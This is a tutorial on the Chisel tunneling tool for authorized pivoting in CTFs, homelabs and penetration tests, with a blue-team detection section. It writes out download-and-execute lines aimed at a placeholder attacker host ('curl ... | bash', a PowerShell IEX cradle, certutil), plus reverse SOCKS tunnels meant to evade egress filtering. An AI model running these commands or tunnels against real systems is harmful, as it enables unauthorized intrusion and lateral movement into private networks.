Chisel

Chisel is a single self-contained binary that tunnels TCP and UDP traffic over a plain HTTP connection. Run one copy as a server and another as a client, and you get an encrypted tunnel that punches through restrictive egress filters, plus an optional reverse SOCKS proxy that lets your tools reach networks the target can see but you cannot. It solves the classic “I have a shell on a dual-homed box, now how do I scan the subnet behind it?” problem.

You will reach for Chisel during the pivot phase: after you land a foothold on a CTF box, a homelab jump host, or an authorized internal asset that sits between you and an internal segment. It does not exploit anything. It moves your existing tools to where they can do their job.

What you will learn#

  • How to install, update, and verify Chisel on both sides
  • How to get the binary onto a target you already have a foothold on
  • How a reverse SOCKS pivot works and why it is the default move
  • Realistic examples for SOCKS, local forwards, remote forwards, and UDP
  • How to chain your existing tools through the tunnel with proxychains
  • The mistakes that waste the most time, and how to avoid them
  • A commented cheat sheet you can paste into your notes

Only tunnel through systems you own or are explicitly authorized to test. Pivoting deliberately reaches networks beyond the box you landed on, so your scope must clearly cover those internal segments too. CTF platforms, your own homelab, and dedicated practice ranges are fair game. Keep a short note of the foothold host, the internal range you reached, the authorization, and the date next to your output.


Prerequisites#

  • A shell on the target (any user) and a way to transfer a file. This is the foothold Chisel runs from.
  • Outbound HTTP/HTTPS reachability from the target back to your attacker box. If the target can browse the web, it can usually reach a Chisel server.
  • Basic comfort with ports, CIDR ranges like 10.10.10.0/24, and SOCKS proxies.
  • ATTACKER_IP is your own box (the server side); TARGET_IP is the authorized foothold; the internal range behind it is something like 172.16.50.0/24.

Lab setup#

Keep every engagement in its own folder so binaries, notes, and loot never mix.

# One folder per box or per lab, with room for the binary and notes
mkdir -p ~/labs/chisel-demo/{bin,notes,loot}
cd ~/labs/chisel-demo

Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Throughout this guide, ATTACKER_IP is your box running the Chisel server, TARGET_IP is the authorized foothold running the client, and the internal segment you want to reach is 172.16.50.0/24.


Installation#

Chisel ships as a static binary, so on your attacker box you usually just download it.

# Debian / Ubuntu / Kali: package is sometimes available
sudo apt update && sudo apt install -y chisel 2>/dev/null || true

# Go install (gets you the current release on any platform)
go install github.com/jpillora/chisel@latest   # binary lands in ~/go/bin

# Manual binary (most common): grab the release build for your OS/arch
# from the official jpillora/chisel releases, then make it executable
chmod +x ~/labs/chisel-demo/bin/chisel

Keep the matching binary for the target’s OS and architecture in your bin/ folder too (a Linux amd64 build and a Windows amd64 chisel.exe, for example). Prefer the official release build; it is statically linked and runs on minimal hosts with no dependencies.


Getting it onto the target#

Chisel is a binary you move to the target and then run as a client. The transfer step is the same problem every on-target tool has, so for the full menu of ways to deliver it (HTTP, SMB, Windows download cradles, netcat, SCP/SSH, base64) see the file transfer methods guides. The chisel essentials, including the reverse-SOCKS pivot, are below.

Chisel runs on the target, so you need to move the binary there over the foothold you already have. The simplest pattern is to serve it from your attacker box and pull it down from the target.

On your attacker box: serve the binary over HTTP from the folder that holds it.

# Turn the bin/ folder into a throwaway web server
cd ~/labs/chisel-demo/bin
python3 -m http.server 8000   # serves everything here on ATTACKER_IP:8000

This makes your box a disposable web server. The target pulls the file over the access you already have, with no install on the target and no copy-paste of a large binary into a cramped shell.

On the target (Linux): download the binary and make it executable.

# Save to a writable, usually-noexec-free temp location
wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel

# /dev/shm is a good alternative when /tmp is mounted noexec
wget http://ATTACKER_IP:8000/chisel -O /dev/shm/chisel && chmod +x /dev/shm/chisel

Use /tmp or /dev/shm because they are world-writable and you can clean them up afterward. For a binary you always save it to disk and chmod +x; you only pipe straight into an interpreter (curl ... | bash) for shell scripts, never for a compiled binary.

For a helper shell script instead of a binary, the pipe form is fine in a lab:

# Pipe a script straight into bash (lab use; shows in history and process lists)
curl http://ATTACKER_IP:8000/setup.sh | bash

On the target (Windows, if relevant): download with built-in tooling.

# certutil download (lands chisel.exe in the current directory)
certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe chisel.exe

# PowerShell equivalent
iwr http://ATTACKER_IP:8000/chisel.exe -OutFile chisel.exe

For a PowerShell helper script, an in-memory download cradle avoids touching disk:

# Run a .ps1 from your web server without saving it (lab use)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/setup.ps1')

Chisel is also a two-sided tool at runtime. Once the binary is on the target, you run a server on your box and a client on the target. The reverse direction is the key move: the client dials out to your server (so it works through outbound-only egress), and your server exposes a local SOCKS proxy that routes through the target.

# On your attacker box: start the server in reverse mode
./chisel server -p 8000 --reverse
# On the target: dial back and offer a reverse SOCKS proxy
/tmp/chisel client ATTACKER_IP:8000 R:1080:socks

After this, a SOCKS5 proxy listens on 127.0.0.1:1080 on your attacker box. Anything you send through it exits from the target, so your tools now reach 172.16.50.0/24 as if you were standing on the foothold. R: means “reverse”: the listener opens on the server (your box), and traffic flows out through the client (the target).


Update process#

# Go install route: pull the latest release
go install github.com/jpillora/chisel@latest

# Package route, if you installed from apt
sudo apt update && sudo apt install --only-upgrade -y chisel

# Manual route: replace the binary in bin/ with the newest release build
chmod +x ~/labs/chisel-demo/bin/chisel

The server and client should be the same major version. A version mismatch is a common reason a tunnel connects but immediately drops, so update both copies together.


Check if installed and available#

command -v chisel       # prints the path if it is on your PATH
chisel --version        # confirm the version (match it on both sides)
chisel --help           # top-level help: server and client subcommands
chisel server --help    # server-specific flags
chisel client --help    # client-specific flags

If command -v prints nothing, you are probably running a downloaded binary by path (./chisel or /tmp/chisel) rather than from PATH, which is normal on a target.


First safe test#

Prove both sides talk to each other entirely on your own machine, touching nothing external.

# Terminal 1 (server, your box)
chisel server -p 8000 --reverse

# Terminal 2 (client, same box, loopback)
chisel client 127.0.0.1:8000 R:1080:socks

Expected: the client prints Connected and the server logs a new session. Success looks like a SOCKS proxy now listening on 127.0.0.1:1080. Failure looks like connection refused (server not running or wrong port) or a version-mismatch message (rebuild both sides from the same release).


Core concepts#

  • Server and client: one side listens (chisel server), one side connects (chisel client). Either side can be your box; the choice decides direction.
  • Reverse vs forward: with --reverse on the server, the client can request remote (R:) listeners that open on the server. This is what makes the outbound-only pivot work.
  • Local forward (L:) opens a listener on the client and forwards it to a host reachable by the server.
  • Remote forward (R:) opens a listener on the server and forwards it through the client. R:1080:socks is the special reverse-SOCKS form.
  • SOCKS proxy: instead of one fixed port, socks gives you a dynamic proxy. Point proxychains or a browser at it and reach the whole internal subnet.
  • HTTP transport: traffic looks like ordinary HTTP, which is why it slips through egress filters. Add --tls or front it with a reverse proxy for HTTPS.
  • Authentication: --auth user:pass and --key/--keygen stop a stranger from joining your tunnel.

When this tool is useful#

  • CTFs and labs: a dual-homed box where the flag service lives on an internal network you cannot route to directly.
  • Homelab pivoting: reach a management VLAN from a single jump host you control.
  • Authorized internal assessments: extend reach from a foothold into in-scope internal segments without dropping a full implant.
  • Restrictive egress: the target can only talk out over HTTP/HTTPS, so a normal reverse shell or SSH tunnel will not leave the network.
  • Quick port exposure: surface one internal service (a database, a web app) on your own box to test it with local tools.

When not to use this tool#

  • When SSH access already exists; ssh -D/-L/-R does the same job with no extra binary to drop.
  • On fragile or heavily monitored hosts where dropping and running a known tunneling binary is too noisy.
  • When you only need to reach one host on the same subnet you are already on; just use your tools directly.
  • When the scope does not clearly cover the internal network you would reach. Pivoting is exactly the moment to re-confirm authorization.

Command anatomy#

chisel [server|client] [transport options] [forward specs]
#       role            -p, --reverse, --auth   R:1080:socks  L:8000:host:port
  • role: server listens, client connects. Pick which end is yours.
  • transport options: port (-p), reverse mode (--reverse), auth, TLS.
  • forward specs: what to tunnel. R: opens on the server, L: opens on the client, and socks makes a dynamic proxy instead of a fixed mapping.

Common flags and options#

OptionMeaningWhen to use itExample
serverRun the listening sideAlways on your attacker box for a pivotchisel server -p 8000 --reverse
clientRun the connecting sideOn the target footholdchisel client ATTACKER_IP:8000 R:1080:socks
-pServer listen portMatch the port the client dialschisel server -p 8000
--reverseAllow remote (R:) forwardsNeeded for reverse SOCKS pivotschisel server -p 8000 --reverse
R:1080:socksReverse SOCKS proxy on server:1080The default pivotchisel client ATTACKER_IP:8000 R:1080:socks
L:8000:IP:80Local forward on the clientExpose a server-side service on the clientchisel client ATTACKER_IP:9000 L:8000:172.16.50.10:80
--authuser:pass for the tunnelStop strangers joiningchisel server -p 8000 --reverse --auth lab:lab
--tls-key/--tls-certServe over HTTPSWhen HTTP egress is filteredchisel server -p 443 --reverse --tls-key k.pem --tls-cert c.pem
--keepaliveHeartbeat intervalKeep flaky tunnels alivechisel client --keepalive 25s ...
-vVerbose loggingDebugging a tunnel that will not connectchisel server -p 8000 --reverse -v

Practical examples#

Each command below explains what it does and what to expect. Server commands run on ATTACKER_IP; client commands run on the authorized TARGET_IP foothold.

# Reverse SOCKS pivot (the bread and butter)
# Server (your box):
chisel server -p 8000 --reverse
# Client (target):
/tmp/chisel client ATTACKER_IP:8000 R:1080:socks
# Result: SOCKS5 on 127.0.0.1:1080 on your box, routing through the target.
# Use the SOCKS proxy with proxychains to scan the internal subnet
# (set socks5 127.0.0.1 1080 in /etc/proxychains4.conf first)
proxychains nmap -sT -Pn -p 22,80,445 172.16.50.10
# Output: open ports on an internal host reached through the pivot.
# Expose a single internal service on your box (no SOCKS needed)
# Server (your box):
chisel server -p 9000 --reverse
# Client (target): forward your 8080 to an internal web server
/tmp/chisel client ATTACKER_IP:9000 R:8080:172.16.50.10:80
# Result: http://127.0.0.1:8080 on your box hits the internal web app.
# Authenticated tunnel so a stranger cannot hop on
# Server:
chisel server -p 8000 --reverse --auth lab:labpass
# Client:
/tmp/chisel client --auth lab:labpass ATTACKER_IP:8000 R:1080:socks
# UDP forward (DNS, SNMP, etc.) through the pivot
# Client: forward local UDP 53 on your box to an internal DNS server
/tmp/chisel client ATTACKER_IP:8000 R:53:172.16.50.2:53/udp
# Note the /udp suffix; without it the forward is TCP only.
# Local forward: client opens the listener, server reaches the destination
# Server (on a box that can reach the internal target):
chisel server -p 9000
# Client (your box): listen locally, forward through the server
chisel client SERVER_IP:9000 L:127.0.0.1:3306:172.16.50.20:3306
# Result: 127.0.0.1:3306 on your box reaches an internal database via the server.
# HTTPS transport when plain HTTP egress is filtered
# Server: serve with TLS on 443
chisel server -p 443 --reverse --tls-key key.pem --tls-cert cert.pem
# Client: trust the cert and dial out over 443
/tmp/chisel client https://ATTACKER_IP:443 R:1080:socks
# Verbose mode to debug a tunnel that connects then drops
chisel server -p 8000 --reverse -v
# Read the session logs to see auth failures or version mismatches.

Example workflow#

A realistic beginning-to-end pivot from one authorized foothold.

# 1. Prepare and confirm scope (note the internal range you will reach)
mkdir -p ~/labs/pivot01/{bin,notes} && cd ~/labs/pivot01
echo "foothold: TARGET_IP, internal: 172.16.50.0/24, authorized $(date -I)" \
  > notes/scope.txt

# 2. Serve the right binary from your box
cp ~/tools/chisel bin/ && cd bin && python3 -m http.server 8000 &

# 3. On the target shell, pull and run the client
#    wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
#    /tmp/chisel client ATTACKER_IP:8000 R:1080:socks

# 4. Back on your box, start the server (do this before step 3 in practice)
chisel server -p 8000 --reverse

# 5. Point proxychains at 127.0.0.1:1080, then enumerate the internal range
proxychains nmap -sn 172.16.50.0/24 | tee notes/internal-hosts.txt

From here, the SOCKS proxy carries your existing tools to the internal hosts: a web port leads to feroxbuster over proxychains, SMB leads to netexec, and so on.


Reading and interpreting output#

  • Connected on the client means the tunnel is up. Watch for it after dialing.
  • A new session line on the server confirms the client reached you. No session line means egress is blocked or the port is wrong.
  • Listening for the SOCKS port on the server tells you 127.0.0.1:1080 is ready.
  • proxychains lines like OK mean a connection went through the tunnel; denied or timeout usually means the internal host or port is unreachable, not a Chisel bug.
  • server version X, client version Y in logs means a mismatch; rebuild both from the same release.
  • Silence after Connected but no proxy traffic often means you forgot --reverse on the server, so the R: forward was rejected.

Common mistakes#

  • Forgetting --reverse on the server, so the client’s R:1080:socks is refused.
  • Mismatched server/client versions: it connects, then drops or behaves oddly.
  • Downloading the wrong architecture binary for the target (arm vs amd64).
  • Saving the binary to a noexec mount; use /dev/shm or another exec-friendly path.
  • Pointing proxychains at the wrong port, or leaving a stale socks4 line in the config.
  • Running a TCP-only forward and wondering why DNS or SNMP fails; add /udp.
  • Leaving the binary and a live tunnel running on the target after you finish.

Troubleshooting#

ProblemLikely causeFix
connection refusedServer not running / wrong portStart the server first; match -p and the dial port
Connects then dropsVersion mismatchUse the same release on both sides
R: forward rejected--reverse missing on serverAdd --reverse to the server command
permission denied on runnoexec mount or no +xchmod +x; use /dev/shm or /tmp
proxychains timeout/deniedInternal host/port unreachableConfirm the internal IP and that the foothold can reach it
No outbound connection at allEgress filteredTry --tls on 443, or front it as HTTPS
cannot execute binary fileWrong architectureDownload the matching OS/arch build
Slow or stalling tunnelFlaky linkAdd --keepalive 25s on the client

Tools that pair well#

  • proxychains: the usual way to push your existing tools through the SOCKS proxy.
  • nmap: scan the internal range through the pivot (use -sT -Pn, since SYN scans do not work over SOCKS).
  • netexec: sweep SMB/WinRM on the internal subnet over proxychains.
  • feroxbuster / ffuf: hit internal web apps through the tunnel.
  • socat / netcat: the relays and shells you often combine with a pivot.
  • evil-winrm: reach an internal Windows host’s WinRM through the SOCKS proxy.

Automation and note taking#

# Log the server session with a timestamp so you can prove the pivot window
chisel server -p 8000 --reverse -v \
  2>&1 | tee notes/chisel-server-$(date +%Y%m%d-%H%M).log

Record the foothold host, the internal range reached, the exact forward spec, and the start/stop times. Screenshot the Connected line and any internal scan you reference in a report, and keep a one-line scope note per pivot.


Blue-team visibility#

A Chisel tunnel is detectable. Defenders see a long-lived outbound HTTP/HTTPS session to an unusual destination, often with a WebSocket upgrade, and a strange new process running from /tmp or /dev/shm. On the target there is a fresh binary on disk, file download events (wget/curl/certutil), and a listening socket from the client process. Internal hosts suddenly being scanned from the foothold show up in their own logs as connections sourced from a box that does not normally talk to them. As a defender, alert on tunneling binaries in temp paths, persistent outbound WebSockets, and east-west traffic from a host that should not initiate it.

Safer or lower-noise usage#

  • Prefer SSH port forwarding when SSH access already exists; it leaves no extra binary.
  • Run from /dev/shm and delete the binary and kill the tunnel when you finish.
  • Use --auth so only your client can join, and --tls to blend with normal HTTPS.
  • Tunnel only the ports you need with a specific R:/L: forward instead of a full SOCKS proxy when one service is enough.
  • Confirm the internal range is in scope before the first proxied packet.

Alternatives#

  • SSH (-D/-L/-R): the cleanest pivot when you have SSH credentials; no extra tooling, well understood, and easy to log. Use it whenever SSH is available.
  • sshuttle: turns an SSH login into a transparent VPN-like tunnel for a subnet, with no proxychains. Great when you have SSH and want route-level access.
  • ligolo-ng: a userland TUN-based pivot that avoids proxychains entirely and handles many connections smoothly; often nicer for heavy internal work.
  • Metasploit autoroute/socks_proxy: convenient if you are already in a Meterpreter session.

Chisel wins when egress is HTTP-only and you want a tiny static binary with no dependencies. SSH wins for cleanliness when you have credentials; ligolo-ng wins for comfort on large internal networks.


Deprecated and legacy notes#

  • The standalone SOCKS form is R:socks or R:1080:socks; older notes sometimes show R:127.0.0.1:1080:socks, which still works but is more verbose than needed.
  • Some very old guides reference flag names from pre-1.x builds; check chisel --help on your version, since transport and auth flags have shifted between releases.
  • --reverse is mandatory on the server for any R: forward; tutorials written before this safety default sometimes omit it and then look broken.

Quick reference cheat sheet#

# --- Verify (both sides, same version) ---
chisel --version                                   # match server and client

# --- Serve the binary to the target ---
cd ~/labs/chisel-demo/bin && python3 -m http.server 8000   # attacker box

# --- Pull it onto the target ---
wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel  # Linux
certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe chisel.exe         # Windows

# --- Reverse SOCKS pivot (the default) ---
chisel server -p 8000 --reverse                    # attacker box
/tmp/chisel client ATTACKER_IP:8000 R:1080:socks   # target

# --- Use the proxy (set socks5 127.0.0.1 1080 in proxychains4.conf) ---
proxychains nmap -sT -Pn -p 22,80,445 172.16.50.10 # scan an internal host

# --- Expose one internal service on your box ---
/tmp/chisel client ATTACKER_IP:9000 R:8080:172.16.50.10:80   # http://127.0.0.1:8080

# --- UDP forward (note the /udp) ---
/tmp/chisel client ATTACKER_IP:8000 R:53:172.16.50.2:53/udp

# --- Authenticated + TLS (lower noise) ---
chisel server -p 443 --reverse --auth lab:labpass --tls-key k.pem --tls-cert c.pem
/tmp/chisel client --auth lab:labpass https://ATTACKER_IP:443 R:1080:socks

# --- Debug a flaky tunnel ---
chisel server -p 8000 --reverse -v                 # read session logs
/tmp/chisel client --keepalive 25s ATTACKER_IP:8000 R:1080:socks

Mini decision tree#

  • Have a foothold but cannot route to the internal subnet: reverse SOCKS pivot.
  • Egress is HTTP-only or filtered: use --tls on 443 and dial https://.
  • You already have SSH on the box: prefer ssh -D/-R over dropping Chisel.
  • Only need one internal service: use an R:port:host:port forward, not full SOCKS.
  • Tunnel connects then drops: check that versions match on both sides.
  • Need DNS/SNMP through the pivot: add /udp to the forward spec.

Final checklist#

  • Scope and authorization noted, including the internal range reached
  • Correct OS/arch binary transferred and made executable
  • Same Chisel version on server and client
  • Server started with --reverse before the client’s R: forward
  • proxychains pointed at the right SOCKS port and protocol
  • Binary and live tunnel cleaned off the target afterward
  • No real third-party targets used

Final summary#

Chisel is best when you have a foothold and need to reach the network behind it over nothing but HTTP. The fastest way to start is chisel server -p 8000 --reverse on your box and chisel client ATTACKER_IP:8000 R:1080:socks on the target, then point proxychains at 127.0.0.1:1080. The most expensive mistake is forgetting --reverse on the server, which silently refuses the pivot. Learn proxychains and netexec next, since reaching an internal subnet is only useful once you can enumerate it.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop